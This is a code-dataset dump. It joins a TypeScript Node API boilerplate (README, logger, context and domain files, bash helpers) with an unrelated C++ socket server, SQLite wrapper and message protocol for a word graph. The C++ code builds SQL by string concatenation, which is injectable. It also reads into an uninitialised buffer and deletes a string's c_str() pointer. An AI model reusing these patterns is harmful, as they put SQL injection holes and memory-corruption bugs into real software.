$ dbin/npm
# Runs npx in the project folder
$ dbin/npx
# Runs yarn in the project folder
$ dbin/yarn
```
### Wrapper Helpers
```bash
# Adds dbin folder to the PATH only for the current terminal session.
$ source dbin/local-env
# After using this command you can use the any script inside the dbin folder without the dbin/ prefix
```
## Dependency injection
We use [Awilix](https://www.npmjs.com/package/awilix) to implement dependency injection and decouple the parts of your application. The boilerplate was developed in a way that each [module](#modules) is able to consume and augment the registered dependencies separately. Click here to know more about [inversion of control and dependency injection](https://www.martinfowler.com/articles/injection.html). The creator of Awilix also has a very good series of posts about the design decisions of the library that you can read [clicking here](https://medium.com/@Jeffijoe/dependency-injection-in-node-js-2016-edition-f2a88efdd427).
The instance of the Awilix dependency container is created in the file `src/container.ts`. You'll notice that the type of the dependencies is defined by combining the types of the dependencies exported by each of the modules. After that, each of these modules will be then responsible for registering those dependencies in the container during the [boot process](#boot).
## Import paths
In order to make it easier and cleaner to import files we use [tsconfig-paths](https://www.npmjs.com/package/tsconfig-paths) configured to alias the path to the `src/` folder as `@`. For example, if you want to import the file `src/article/domain/Article.ts`, you can do it through the path `@/article/domain/Article.ts` no matter from which file you are importing it.
## Modules
The codebase is divided into modules, where each module can represent either an integration (with some HTTP or database library, for example) or a feature (that are called here as app modules). Each module requires to be given a name and has access to the configuration options, the logger, the [lifecycle events](#lifecycle-events) and the the context of the application in order to add and use dependencies from the container. More technical details about the modules will be given in a [separate section](#module-internals).
## Logging
We use [Pino](https://www.npmjs.com/package/pino) for effective and high performance logging. The instance of the logger is available in the dependency injection container to be used across the board and also is one of the arguments of the module constructor.
## Recommended patterns
This boilerplate follows ideas from multiple good software development practices sources like [layered architecture](http://wiki.c2.com/?FourLayerArchitecture), [Clean Architecture](https://blog.cleancoder.com/uncle-bob/2012/08/13/the-clean-architecture.html), [Domain-Driven Design](https://www.domainlanguage.com/ddd/), among others. As such, even though it's not required, there are some patterns that are recommended and suggested that work well with the principles that make the boilerplate scalable and extensible. To mention some:
- We recommend the usage of entities, aggregates and value objects, and other patterns that are used to isolate domain-specific code from the rest of the application code, as mentioned in Domain-Driven Design. To create a standard and practical way to define invariants for entities and aggregates there is a function that can be imported from the [lib](#lib-and-shared-kernel) called `withInvariants`. Click here to read a brief [reference about Domain-Driven Design](https://www.domainlanguage.com/wp-content/uploads/2016/05/DDD_Reference_2015-03.pdf).
- To abstract the persistence layer of your application we recommend the usage of the [repository pattern](https://martinfowler.com/eaaCatalog/repository.html). An important fact to take note is that even though the example app in the boilerplate used Mongo, you're not required to use it in your application, you just need to create a module to connect to the database of your preference and implement repositories that communicate with this database
- To favor a more predictable and explicit definition of domain rules we favor immutable objects and pure functions to define business rules rather than classes. You'll see that most of the code does not expose classes to be used.
- To export and import domain-specific code we use [TypeScript namespaces](https://www.typescriptlang.org/docs/handbook/namespaces.html). We believe it helps in making the code that is imported from the domain easier to read since it will always be prefixed by the name of the context it concerns about, loosely inspired by [Elixir modules](https://elixir-lang.org/getting-started/modules-and-functions.html). We follow the pattern of adding a named export called Type to expose the entity/aggregate/value object from that given file.
## Going to production
To run your app in production mode, you'll need to follow these steps:
1. Build the application with `yarn build`
2. Define any environment variable important for production
3. Start the app with `yarn start`
# How it works
## Context
The base of an application built with the boilerplate is the context instance. The context, defined in `src/_lib/Context.ts` and instantiated in `src/context.ts`, is what makes all the parts talk to each other and what defines what will be exposed to the modules during their creation, which can be customized by changing the object that is passed to the `makeContext` function in `src/context.ts`. Every module that is defined using the function `makeModule` provided by the same context is able to communicate with each other.
It's important to mention that you are able to have multiple isolated contexts in the same codebase in case you want to have more than one application, they will have isolated dependency containers, modules and will run separately. The context implementation will ensure that modules from different contexts are isolated, so you should not try to plug a module from a given context into a different context's `bootstrap` function.
## Module internals
Modules are the building pieces of an application built with this boilerplate. You can either encapsulate an integration or a feature using a module or any other division you think makes sense for your application. During the boot process of the application, all the modules will be imported and run in the order they are passed to the bootstrap function in `src/_boot/index.ts`, this order is important because it can influence how a module will depend on another module and in the cleanup process when the app is stopped. When run, a module is able to access the configuration options of the application, the dependency injection container, and register to subsequent [lifecycle events](#lifecycle-events) of the boot process. If some cleanup logic is needed to be run for a module during the stopping process of the application, the module must return a function that implements this logic, similar to [how React implements the cleanup of effects](https://reactjs.org/docs/hooks-effect.html#effects-with-cleanup).
Module constructors should be used mostly as simple glue between the integration or feature implementation and the application, prefer to put the actual implementation of the logic inside the `_lib/` folder (like database module does with `MongoProvider`) or a feature folder inside `src/` (like we do for the article module) accordingly.
## Lib and shared kernel
Besides the feature folders that go inside `src/`, we also separate abstractions that will be used across the codebase in the `_lib/` and `_sharedKernel/` folders. Inside `_lib/` we usually put code that is not specific to our application, code that could be easily extracted to a npm package if necessary, like abstractions around other packages, reusable generic types and the such. For application-specific reusable logic between multiple modules we use the `_sharedKernel/` folder. To understand more about what the shared kernel is, we recommend reading the [DDD quick reference](https://www.domainlanguage.com/wp-content/uploads/2016/05/DDD_Reference_2015-03.pdf) section about it.
## Boot
The boot process consists of setting up all the necessary code for the application to run, including running the modules and going through the [lifecycle events](#lifecycle-events). The files used during the boot process are all inside the `_boot/` folder, including the definition of the integration modules, but the abstractions created for this, like the context, are imported from the [lib](#lib-and-shared-kernel). To understand more about the booting process begin looking into the `src/context.ts` file and then the `src/_boot/index.ts` file.
## Lifecycle events
Both the boot and stopping processes are defined as a sequence of lifecycle events. These events exist in order to make these processes explicit and allow the modules to hook into them to properly integrate them into the application execution. Here's the order of lifecycle events for the boot and the stopping processes, we're gonna cover how to hook into an event in the next section.
Boot:
1. Booting:
- The booting event is dispatched once the function bootstrap is called in `src/_boot/index.ts`
- The modules are invoked during this lifecycle step, so by the time each module is invoked this lifecycle event was already dispatched
- It's not possible for a module to hook into this event because it's run by the context to declare that the boot process is started
- Mostly for internal usage to prepare the rest of the boot process
2. Booted:
- When this event is dispatched it's a message to let the modules know that all the modules were already invoked and had already hooked into the other lifecycle events
- This is a good place to register error handlers because every module has already registered its routes when they were invoked
- Use this event to do anything you might need after all the module constructors are done running
3. Ready:
- This lifecycle event happens after all the listeners for the booted event were run
- This is the proper place to actually start things, like starting the server, make queue consumers start listening to messages, or waiting for commands in case the app is running in REPL mode
4. Running:
- After everything from the ready event is done, the app is now actually running
- A good usage for this lifecycle event is to know if the app is already prepared to be accessed during the setup of an automated test or offer info about the process in the console
Stopping
1. Disposing
- It's during this lifecycle event that the cleanup functions returned by the modules will be run
- To make the cleanup process consistent, the cleanup functions are run in the inverse order their modules were passed to the bootstrap function. So if your app uses `bootstrap(database, server)`, during the disposing process the cleanup function of the server module will be called first and then the database one.
- As an example, this is where the server is stopped and the database connections are closed
- It's intended to be used to revert everything initialized during Booting lifecycle event
2. Disposed
- By the time Disposed event is dispatched, we expect that everything that keeps the process open is already finished, leaving it in a safe state to be terminated
- You could use this event to clean temporary files, for instance
3. The application should now be completely stopped and the process is terminated
To be able to hook into lifecycle events, access the property `app` in the object passed to the constructor of the modules. The `app` object contains a function for each lifecycle, prefixing it with the word `on`. So, for example, to hook into the Booted event, call `app.onBooted(callback)`.
<file_sep>import { Request, RequestHandler } from 'express';
import logger, { Options, startTime } from 'pino-http';
import { randomUUID } from 'crypto';
type LoggerOptions = Options & { customProps?: (req: Request, res: Response) => any };
const httpLoggerOptions = (): LoggerOptions => {
const getReqId = (req: Request) => `[req:${req.id}]`;
return {
genReqId: () => randomUUID(),
autoLogging: { ignorePaths: ['/status', '/favicon.ico'] },
customSuccessMessage: function (res) {
const req = res.req as Request;
const reqId = getReqId(req);
return `${reqId} ${res.statusCode} - ${req.method} ${req.originalUrl} ${Date.now() - res[startTime]}ms`;
},
customErrorMessage: function (error, res) {
const req = res.req as Request;
const reqId = getReqId(req);
return `${reqId} ${res.statusCode} - ${req.method} ${req.originalUrl} - [${error.name}] ${error.message} ${
Date.now() - res[startTime]
}ms`;
},
customLogLevel: function (res, err) {
if (res.statusCode >= 400 && res.statusCode < 500) {
return 'warn';
} else if (res.statusCode >= 500 || err) {
return 'error';
} else if (res.statusCode >= 300 && res.statusCode < 400) {
return 'trace';
}
return 'info';
},
};
};
const httpLogger = (opts: LoggerOptions = httpLoggerOptions()): RequestHandler =>
logger({
...opts,
});
export { httpLogger, httpLoggerOptions, startTime as reqStartTimeKey };
export type { LoggerOptions };
<file_sep>#!/bin/bash
USER_ID=$(id -u) GROUP_ID=$(id -g) docker-compose build dev<file_sep>import { makeEventProvider } from '@/_lib/events/EventProvider';
import { key } from '@/_lib/pubSub/EventEmitterPubSub';
const eventProvider = makeEventProvider(key);
export { eventProvider };
<file_sep>#!/bin/bash
PARENT_DIR="$(cd "$(dirname "$0")" && cd .. && pwd)"
TARGET_DIR="$1"
mv "$PARENT_DIR/README.md" "$PARENT_DIR/INSTRUCTIONS.md" 2>/dev/null
(shopt -s dotglob; mv "$PARENT_DIR/$TARGET_DIR"/* "$PARENT_DIR")
rm -r "${PARENT_DIR:?}/$TARGET_DIR"<file_sep>#!/bin/bash
DIR="$(cd "$(dirname "$0")" && pwd)"
export PATH="$PATH:$DIR"<file_sep>import { Application, HookFn, makeApp } from '@/_lib/Application';
type EntrypointFn<T extends Record<string | symbol, any>> = (arg: Context<T>) => Promise<void>;
type BootFn<T extends Record<string | symbol, any>> = (arg: Context<T>) => Promise<void | HookFn>;
type Module<T extends Record<string | symbol, any>, F extends BootFn<T> = BootFn<any>> = {
name: string;
fn: F;
};
type ContextApp = Omit<Application, 'start' | 'onBooting'>;
type Context<T extends Record<string | symbol, any>> = {
app: ContextApp;
bootstrap: <M extends Module<T>[]>(...modules: M) => Promise<void>;
} & T;
type ContextProvider<T extends Record<string | symbol, any>> = {
makeModule: <F extends BootFn<T>, M extends Module<F>>(name: string, fn: F) => M;
withContext: <F extends EntrypointFn<T>>(fn: F) => () => Promise<void>;
};
type ContextOptions = {
shutdownTimeout: number;
logger: Pick<Console, 'info' | 'error' | 'warn'>;
};
const defaultOptions: ContextOptions = {
shutdownTimeout: 5000,
logger: console,
};
const makeContext = <T extends Record<string | symbol, any>>(
localContext: T,
opts: Partial<ContextOptions> = {}
): ContextProvider<T> => {
const { shutdownTimeout, logger } = { ...defaultOptions, ...opts };
const moduleKey = Symbol();
const app = makeApp({ shutdownTimeout, logger });
const bootstrap = async <M extends Module<T>[]>(...modules: M): Promise<void> => {
if (!modules.every((module) => module[moduleKey])) {
const foreignModules = modules.filter((module) => !module[moduleKey]).map((module) => module.name);
throw new Error(`Foreign module(s) provided for bootstrap function: ${foreignModules.join(', ')}`);
}
const bootOrder = modules.map(({ name, fn }) => async () => {
logger.info(`Bootstraping ${name} module.`);
const result = await fn(
Object.freeze({
...context,
app: app.decorateHooks((lifecycle, fn) => async () => {
const isArray = Array.isArray(fn);
logger.info(`Running ${lifecycle.toLowerCase()} hook${isArray ? 's' : ''} from ${name} module.`);
return (Array.isArray(fn) ? fn : [fn]).reduce(
(chain, hook) =>
chain.then(() =>
hook().catch((err) => {
logger.error(
`Error while performing ${lifecycle.toLowerCase()} hook${isArray ? 's' : ''} from ${name} module.`
);
logger.error(err);
})
),
Promise.resolve()
);
}),
})
);
if (typeof result === 'function') {
app.onDisposing(async () => {
logger.info(`Disposing ${name} module.`);
return result().catch((err) => {
logger.error(`Error while disposing of ${name} module. Trying to resume teardown`);
logger.error(err);
});
}, 'prepend');
}
});
app.onBooting(bootOrder);
return app.start();
};
const context: Context<T> = {
...localContext,
app,
bootstrap,
};
return {
makeModule: <F extends BootFn<T>, M extends Module<F>>(name: string, fn: F): M =>
({
[moduleKey]: true,
name,
fn,
} as unknown as M),
withContext:
<F extends EntrypointFn<T>>(fn: F): (() => Promise<void>) =>
() =>
fn(Object.freeze(context)),
};
};
export { makeContext };
export type { ContextApp };
<file_sep>import { AggregateRoot } from '@/_lib/DDD';
import { makeWithInvariants } from '@/_lib/WithInvariants';
import { ArticleId } from '@/_sharedKernel/domain/ArticleId';
namespace Article {
type Article = AggregateRoot<ArticleId> &
Readonly<{
title: string;
content: string;
state: 'DRAFT' | 'PUBLISHED' | 'DELETED';
publishedAt: Date | null;
createdAt: Date;
updatedAt: Date;
version: number;
}>;
type PublishedArticle = Omit<Article, 'publishedAt' | 'state'> & Readonly<{ state: 'PUBLISHED'; publishedAt: Date }>;
const withInvariants = makeWithInvariants<Article>((self, assert) => {
assert(self.title?.length > 0);
assert(self.content?.length > 0);
});
type ArticleProps = Readonly<{
id: ArticleId;
title: string;
content: string;
}>;
export const create = withInvariants(
(props: ArticleProps): Article => ({
id: props.id,
title: props.title,
content: props.content,
state: 'DRAFT',
publishedAt: null,
createdAt: new Date(),
updatedAt: new Date(),
version: 0,
})
);
export const publish = withInvariants(
(self: Article): PublishedArticle => ({
...self,
state: 'PUBLISHED',
publishedAt: new Date(),
})
);
export const markAsDeleted = withInvariants(
(self: Article): Article => ({
...self,
state: 'DELETED',
})
);
export const changeTitle = withInvariants(
(self: Article, title: string): Article => ({
...self,
title,
})
);
export const isPublished = (self: Article): self is PublishedArticle => self.state === 'PUBLISHED';
export type Type = Article;
}
export { Article };
<file_sep>import { Event, EventAddress } from '@/_lib/events/Event';
type SubscriberOptions = {
single: boolean;
nackOn: (error?: Error) => boolean;
};
type Subscriber<OPTS = SubscriberOptions> = {
add: <E extends Event<any>>(
address: EventAddress<E['eventType'], E['topic']>,
handler: (event: E) => Promise<void>,
opts?: Partial<OPTS>
) => Promise<void>;
start: () => Promise<void>;
dispose: () => Promise<void>;
};
export { Subscriber, SubscriberOptions };
<file_sep>#!/bin/bash
PARENT_DIR="$(cd "$(dirname "$0")" && cd .. && pwd)"
cp "$PARENT_DIR/docker/Dockerfile.dev" "$PARENT_DIR/docker/Dockerfile.dev.bkp"
echo -e "\nRUN $*" >> "$PARENT_DIR/docker/Dockerfile.dev"
if USER_ID=$(id -u) GROUP_ID=$(id -g) docker-compose build dev; then
rm -f "$PARENT_DIR/docker/Dockerfile.dev.bkp"
else
mv "$PARENT_DIR/docker/Dockerfile.dev.bkp" "$PARENT_DIR/docker/Dockerfile.dev"
fi
<file_sep>import { AggregateId } from '@/_lib/DDD';
type CommentId = AggregateId<string>;
export { CommentId };
|
98b19a745cdedaecfa3fd6a7ac0f82e14d8a19c7
|
[
"Markdown",
"TypeScript",
"YAML",
"Shell"
] | 95 |
TypeScript
|
Ankrat/node-api-boilerplate
|
7e6ae0e968e032b92baf262622d6075260332b28
|
cf01726b9645010a695ee1cf533fa9dfc2b2798a
|
refs/heads/master
|
<repo_name>J-Aguirre/CCR_ProtocolGraph<file_sep>/server.h
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <iostream>
#include <algorithm>
#include <sstream>
#include <thread>
#include <map>
#include <fstream>
#include <string>
#include <vector>
#include <iterator>
/*#include "protocol.h"*/
using namespace std;
int DEFAUL_SIZE = 255;
typedef string chars;
class Server {
public:
struct sockaddr_in stSockAddr;
int Res;
int SocketFD;
int port;
char const* ip_address;
char const* ip_myself;
int message_server;
char message[255];
char buffer[256];
int n;
int packet_size;
int header_size;
chars path_bigramas;
chars path_wordnet;
Protocol* protocol;
Connection* db;
map<int, pair<int, chars> > table_servers; // <name_number, number_socket>
bool type_server = 0; // 1: server_slave, 0: server_master
Server();
Server(char const*, int, char const*);
// port, header_size, packet_size,
Server(int);
void print_table_servers();
void connection();
void read_server();
void new_client_connection(int);
int split(const string txt, vector<string> &strs, char ch);
int print_vec_s(vector<string>);
void send_data_to_server(int socket, string bigrama);
void load_data();
};
Server::Server(){}
Server::Server(char const* ip, int port, char const* ip_myself)
{
this->protocol = new Protocol();
/*chars message = this->protocol->envelop("simple-message", "test text lalito");
cout<<"envelop message: "<<message<<endl;
chars unwrapped_messa = this->protocol->unwrap(message);
cout<<"unwrapped message: "<<unwrapped_messa<<endl;*/
this->ip_myself = ip_myself;
this->ip_address = ip;
this->port = port;
this->SocketFD = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
// error while we try create the token
if (-1 == this->SocketFD)
{
perror("cannot create socket");
exit(EXIT_FAILURE);
}
memset(&this->stSockAddr, 0, sizeof(struct sockaddr_in));
this->stSockAddr.sin_family = AF_INET;
this->stSockAddr.sin_port = htons(this->port);
this->Res = inet_pton(AF_INET, ip_address, &this->stSockAddr.sin_addr);
if (0 > this->Res)
{
perror("error: first parameter is not a valid address family");
close(this->SocketFD);
exit(EXIT_FAILURE);
}
else if (0 == this->Res)
{
perror("char string (second parameter does not contain valid ipaddress");
close(this->SocketFD);
exit(EXIT_FAILURE);
}
if (-1 == connect(this->SocketFD, (const struct sockaddr *)&this->stSockAddr, sizeof(struct sockaddr_in)))
{
perror("connect failed");
close(this->SocketFD);
exit(EXIT_FAILURE);
}
}
Server::Server(int port){
this->protocol = new Protocol();
this->db = new Connection();
this->SocketFD = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
this->port = port;
if(-1 == this->SocketFD)
{
perror("can not create socket");
exit(EXIT_FAILURE);
}
memset(&this->stSockAddr, 0, sizeof(struct sockaddr_in));
this->stSockAddr.sin_family = AF_INET;
this->stSockAddr.sin_port = htons(this->port);
this->stSockAddr.sin_addr.s_addr = INADDR_ANY;
if(-1 == bind(this->SocketFD,(const struct sockaddr *)&this->stSockAddr, sizeof(struct sockaddr_in)))
{
perror("error bind failed");
close(this->SocketFD);
exit(EXIT_FAILURE);
}
if(-1 == listen(this->SocketFD, 10))
{
perror("error listen failed");
close(this->SocketFD);
exit(EXIT_FAILURE);
}
printf("Waiting for a connection ... \n");
}
void Server::print_table_servers(){
map<int, pair<int, chars> >::iterator it;
printf("********SERVERS CONNECTED********* \n");
printf("----------------------------------\n");
printf("ID | Num ConnectID | Number name of server \n");
for(it=this->table_servers.begin(); it!=this->table_servers.end(); it++) {
printf("%10d | %10d |%15s \n", it->first, it->second.first, it->second.second.c_str());
}
}
void Server::new_client_connection(int connect_id){
for(;;)
{
// do
// {
char* buffer;
n = read(connect_id, buffer, DEFAUL_SIZE);
if (n < 0) perror("ERROR reading from socket");
chars mess_unwrap(buffer);
cout<<"mess_unwrap: "<<mess_unwrap<<endl;
list<chars> test = this->protocol->unwrap(mess_unwrap);
cout<<"Message of client:"<<endl;
this->protocol->print_list_str(test);
int var = 0;
chars word = "";
chars word2 = "";
for (auto v : test){
var++;
if (var == 2){
word = v;
}
}
var = 0;
for (auto v : test){
var++;
if (var == 3){
word2 = v;
}
}
//this->db->insert_node(word);
this->db->insert_relation(word, word2);
chars messa = "";
if(strlen(buffer) > 0){
printf("Enter message to client: ");
scanf("%s" , this->message);
messa = this->protocol->wrap("_n", "", this->message, "");
}
else {
printf("Client desconnected !!! \n");
break;
}
n = write(connect_id, messa.c_str(), messa.size());
if (n < 0) perror("ERROR writing to socket");
}
// } while(buffer != "chao");
shutdown(connect_id, SHUT_RDWR);
close(connect_id);
}
void Server::connection(){
for(;;){
int ConnectFD = accept(this->SocketFD, NULL, NULL);
cout<<"this->SocketFD: "<<this->SocketFD<<endl;
if(0 > ConnectFD)
{
perror("error accept failed");
close(this->SocketFD);
exit(EXIT_FAILURE);
}
printf("Client connected !!! \n");
char buffer[256];
bzero(buffer,256);
n = read(ConnectFD, buffer, 16);
if (n < 0) perror("ERROR reading from socket");
chars ip_server_connected(buffer);
pair<int, chars> element(ConnectFD, ip_server_connected);
int size_table = this->table_servers.size();
this->table_servers[size_table + 1] = element;
this->print_table_servers();
thread t(&Server::new_client_connection, this, ConnectFD);
t.detach();
/*char answer;
printf("Did you want load bigramas to servers? (Y/n): ");
scanf("%c" , &answer);
printf("answer: %c", answer);
if(answer == 'y' || answer == 'Y'){
this->load_data();
}
else{*/
printf("Waiting for another connection ... \n");
/*}*/
}
}
void Server::read_server()
{
for(;;)
{
n = write(this->SocketFD, this->ip_myself, 15);
if (n < 0) perror("ERROR writing to socket");
printf("Enter a message to server: ");
scanf("%s" , this->message);
chars messa = this->protocol->wrap("_l", "",this->message, "");
n = write(this->SocketFD, messa.c_str(), messa.size());
if (n < 0) perror("ERROR writing to socket");
bzero(this->buffer, 255);
this->message_server = read(this->SocketFD, this->buffer, 255);
if (this->message_server < 0) perror("ERROR reading from socket");
list<chars> test = this->protocol->unwrap(this->buffer);
cout<<"Message of client:"<<endl;
this->protocol->print_list_str(test);
}
shutdown(this->SocketFD, SHUT_RDWR);
close(this->SocketFD);
}
int Server::split(const string txt, vector<string> &strs, char ch)
{
string s;
istringstream text(txt);
while (getline(text, s, ' ')) {
strs.push_back(s.c_str());
}
}
int Server::print_vec_s(vector<string> vec){
for(int i=0; i<vec.size(); i++)
printf("%s - ", vec[i].c_str());
printf("\n");
}
void Server::send_data_to_server(int socket, string bigrama){
printf("bigrama in send_data_to_server: %s\n", bigrama.c_str());
n = write(socket, bigrama.c_str(), 255);
if (n < 0) perror("ERROR writing to socket");
}
/*void Server::load_data(){
printf("load_data \n");
ifstream bigramas(this->path_bigramas);
string line;
if(bigramas.is_open())
{
int server_counter = 1;
string previous_first_word = "";
for(int i=0; i<10; i++)
{
getline(bigramas, line);
vector<string> line_vec;
this->split(line, line_vec, ' ');
this->print_vec_s(line_vec);
printf("something!!!\n");
printf("i: %d\n", i);
if(i != 0){
printf("previous_first_word: %s\n", previous_first_word.c_str());
printf("line_vec[0]: %s\n", line_vec[0].c_str());
if(previous_first_word != line_vec[0]){
printf("Are differents!!!!!!\n");
server_counter++;
}
else{
printf("Are the SAME!!!!!!\n");
}
}
int socket_id = this->table_servers[server_counter];
printf("socket_id: %d\n", socket_id);
this->send_data_to_server(socket_id, line);
previous_first_word = line_vec[0];
// printf ("%s\n", line.c_str());
}
bigramas.close();
}
}*/<file_sep>/connection.h
#include <stdio.h>
#include <stdlib.h>
#include <sqlite3.h>
#include <string>
#include <vector>
#include <string.h>
using namespace std;
static int callback(void *NotUsed, int argc, char **argv, char **azColName) {
for(int i = 0; i<argc; i++) {
printf("%s = %s\n", azColName[i], argv[i] ? argv[i] : "NULL");
}
printf("\n");
return 0;
}
static int callback_find(void *data, int argc, char **argv, char **azColName) {
vector< vector<string> > *records = static_cast< vector< vector<string> >* >(data);
try {
records->emplace_back(argv, argv + argc);
}
catch (...) {
// abort select on failure, don't let exception propogate thru sqlite3 call-stack
return 1;
}
return 0;
}
class Connection{
public:
Connection();
sqlite3 *db;
char *zErrMsg = 0;
int rc;
string sql;
string toLower(string attr);
bool insert_node(string attr);
void update_node(string attr, string new_attr);
void delete_node(string attr);
string find_node_id(string attr);
string find_node_name(string id);
bool insert_relation(string attr1, string attr2);
vector<string> find_relations(string attr);
void insert_attribute(string attr, string name_attribute, string name_value);
void find_attribute(string attr);
~Connection(){
sqlite3_close(db);
}
};
Connection::Connection(){
/* Open database */
rc = sqlite3_open("/home/lalo/college/networking/FinalProtocolGraph/protocol_db.db", &db);
if(rc) {
fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db));
} else {
fprintf(stderr, "Opened database successfully\n");
}
}
string Connection::toLower(string attr){
string tmp ="";
for (int i = 0; i < attr.size(); ++i){
tmp += tolower(attr[i]);
}
return tmp;
}
bool Connection::insert_node(string attr){
attr = toLower(attr);
sql = "insert into nodes (name) values('"+attr+"');";
const char *cstr_sql = sql.c_str();
cout <<cstr_sql<<endl;
/* Execute SQL statement */
rc = sqlite3_exec(db, cstr_sql, callback, 0, &zErrMsg);
// cout <<"despues de ingresar"<<rc<<endl;
delete [] cstr_sql;
if( rc != SQLITE_OK ) {
return false;
} else {
return true;
}
}
string Connection::find_node_id(string attr){
vector< vector<string> > records;
string id = "";
attr = toLower(attr);
sql = "select id from nodes where name ='"+attr+"';";
rc = sqlite3_exec(db, sql.c_str(), callback_find, &records, &zErrMsg);
if( rc != SQLITE_OK ) {
fprintf(stderr, "SQL error: %s\n", zErrMsg);
sqlite3_free(zErrMsg);
} else {
fprintf(stdout, "Operation done successfully\n");
}
int i=0, j=0;
if(i<records.size() && j<records[i].size())
id = records[0][0];
cout<<"ID: "<<id<<endl;
return id;
}
string Connection::find_node_name(string id){
vector< vector<string> > records;
string name = "";
//attr = toLower(attr);
sql = "select name from nodes where id ='"+id+"';";
rc = sqlite3_exec(db, sql.c_str(), callback_find, &records, &zErrMsg);
if( rc != SQLITE_OK ) {
fprintf(stderr, "SQL error: %s\n", zErrMsg);
sqlite3_free(zErrMsg);
} else {
fprintf(stdout, "Operation done successfully\n");
}
int i=0, j=0;
if(i<records.size() && j<records[i].size())
name = records[0][0];
cout<<"NAME: "<<id<<endl;
return name;
}
void Connection::update_node(string attr, string new_attr){
sql = "update nodes set name = '"+new_attr +"' where name='"+attr+"';";
/* Execute SQL statement */
const char *cstr_sql = sql.c_str();
rc = sqlite3_exec(db, cstr_sql, callback,0, &zErrMsg);
if( rc != SQLITE_OK ) {
fprintf(stderr, "SQL error: %s\n", zErrMsg);
sqlite3_free(zErrMsg);
} else {
fprintf(stdout, "Operation done successfully\n");
}
}
void Connection::delete_node(string attr){
sql = "delete from nodes where name='"+attr+"';";
/* Execute SQL statement */
const char *cstr_sql = sql.c_str();
rc = sqlite3_exec(db, cstr_sql, callback,0, &zErrMsg);
if( rc != SQLITE_OK ) {
fprintf(stderr, "SQL error: %s\n", zErrMsg);
sqlite3_free(zErrMsg);
} else {
fprintf(stdout, "Operation done successfully\n");
}
}
bool Connection::insert_relation(string attr1, string attr2)
{
attr1 = toLower(attr1);
attr2 = toLower(attr2);
string id1 = find_node_id(attr1);
string id2 = find_node_id(attr2);
cout<<id1<<" "<<id2<<endl;
if(id1 == "" || id2 == ""){
cout <<"no exite un valor"<<endl;
return 0;
}
sql = "insert into relations (node1,node2) values('"+id1+"','"+id2+"');";
rc = sqlite3_exec(db, sql.c_str(), callback,0, &zErrMsg);
if( rc != SQLITE_OK ) {
return false;
} else {
return true;
}
}
vector<string> Connection::find_relations(string attr){
vector< vector<string> > records;
vector<string> nodes_two;
attr = toLower(attr);
string node_id = find_node_id(attr);
sql = "select n2.name from relations inner join nodes as n1 on relations.node1 = n1.id inner join nodes as n2 on relations.node2 = n2.id where node1 = '"+node_id+"';";
rc = sqlite3_exec(db, sql.c_str(), callback_find, &records, &zErrMsg);
for(int i=0; i<records.size(); i++){
for(int j=0; j<records[i].size(); j++){
nodes_two.push_back(records[i][j]);
}
}
if( rc != SQLITE_OK ) {
fprintf(stderr, "SQL error: %s\n", zErrMsg);
sqlite3_free(zErrMsg);
} else {
fprintf(stdout, "Operation done successfully\n");
}
return nodes_two;
}
void Connection::insert_attribute(string attr, string name_attribute, string value_attribute){
string id_node = find_node_id(attr);
attr = toLower(attr);
sql = "insert into attributes (node_id,name_attribute,value) values('"+id_node+"','"+name_attribute+"','"+value_attribute+"');";
rc = sqlite3_exec(db, sql.c_str(), callback, 0, &zErrMsg);
if( rc != SQLITE_OK ) {
fprintf(stderr, "SQL error: %s\n", zErrMsg);
sqlite3_free(zErrMsg);
} else {
fprintf(stdout, "Operation done successfully\n");
}
cout<<"Attributes:"<<endl;
cout<<id_node<<","<<id_node<<","<<name_attribute<<","<<value_attribute<<endl;
}
void Connection::find_attribute(string attr){
vector< vector<string> > records;
attr = toLower(attr);
string id_node = find_node_id(attr);
sql = "select name_attribute,value from attributes where node_id ='"+id_node+"';";
char* data;
const char *cstr_sql = sql.c_str();
rc = sqlite3_exec(db, cstr_sql, callback_find, &records, &zErrMsg);
for(int i=0; i<records.size(); i++){
for(int j=0; j<records[i].size(); j++){
cout<<records[i][j]<<" ";
}
cout<<endl;
}
if( rc != SQLITE_OK ) {
fprintf(stderr, "SQL error: %s\n", zErrMsg);
sqlite3_free(zErrMsg);
} else {
fprintf(stdout, "Operation done successfully\n");
}
}<file_sep>/messages.cpp
/*
PLEASE READ THE FILE "protocol.txt" WHERE IS DEFINED THE STRUCTURE OF EACH TYPE OF MESSAGE OF THIS FILE !!!!!!!
(S) --> begin section of comment
(E) --> end section of comment
*/
#include <sstream>
#include <string.h>
#include <iostream>
#include <list>
#define FIELD_WORD_SIZE 4
#define FIELD_ATRIBUTE_SIZE 4
#define ACTION_NEW_NODE "_n"
using namespace std;
//typedef char const* chars;
typedef string chars;
const int DIGITS_TO_SIZE_IN_BYTES_ALL = 6; // this variable is for all type of message, because is the number of digits where the size of ALL message is
void print_list_str(list<chars> words){
for (auto v : words)
cout << v << "\n";
}
list<chars> splitt(chars s, char c)
{
chars buff = "";
list<string> v;
for(auto n:s)
{
if(n != c) buff+=n; else
if(n == c && buff != "") { v.push_back(buff); buff = ""; }
}
if(buff != "") v.push_back(buff);
return v;
}
int number_digits(int number){
int digits = 0;
if(number == 0) return 1;
while (number != 0) { number /= 10; digits++; }
return digits;
}
chars fill_zeros(int number, int how_many){
stringstream strs;
for (int i = 0; i < how_many; ++i)
strs<<"0";
strs<<number;
return strs.str();
}
chars wrap_message(chars action, chars deepness, chars word, chars attributes){
if (deepness == "")
deepness = "1";
int word_size = word.size();
int attribute_size = attributes.size();
int word_number = FIELD_WORD_SIZE - number_digits(word_size);
int attribute_number = FIELD_ATRIBUTE_SIZE - number_digits(attribute_size);
return action + deepness + fill_zeros(word_size, word_number) + fill_zeros(attribute_size, attribute_number) + word + attributes;
}
//list:<action, word, attributes>
list<chars> unwrap_new_node(chars message){
list<chars> answer;
chars action = message.substr(0, 2);
answer.push_back(action);
chars word_size_str = message.substr(3, 4);
int word_size = stoi(word_size_str);
cout<<"word_size: "<<word_size<<endl;
chars word = message.substr(11, word_size);
cout<<"word: "<<word<<endl;
answer.push_back(word);
chars attributes_size_str = message.substr(9, 4);
int attributes_size = stoi(attributes_size_str);
cout<<"attributes_size: "<<attributes_size<<endl;
chars attributes = message.substr(11 + word_size, attributes_size);
cout<<"attributes: "<<attributes<<endl;
answer.push_back(attributes);
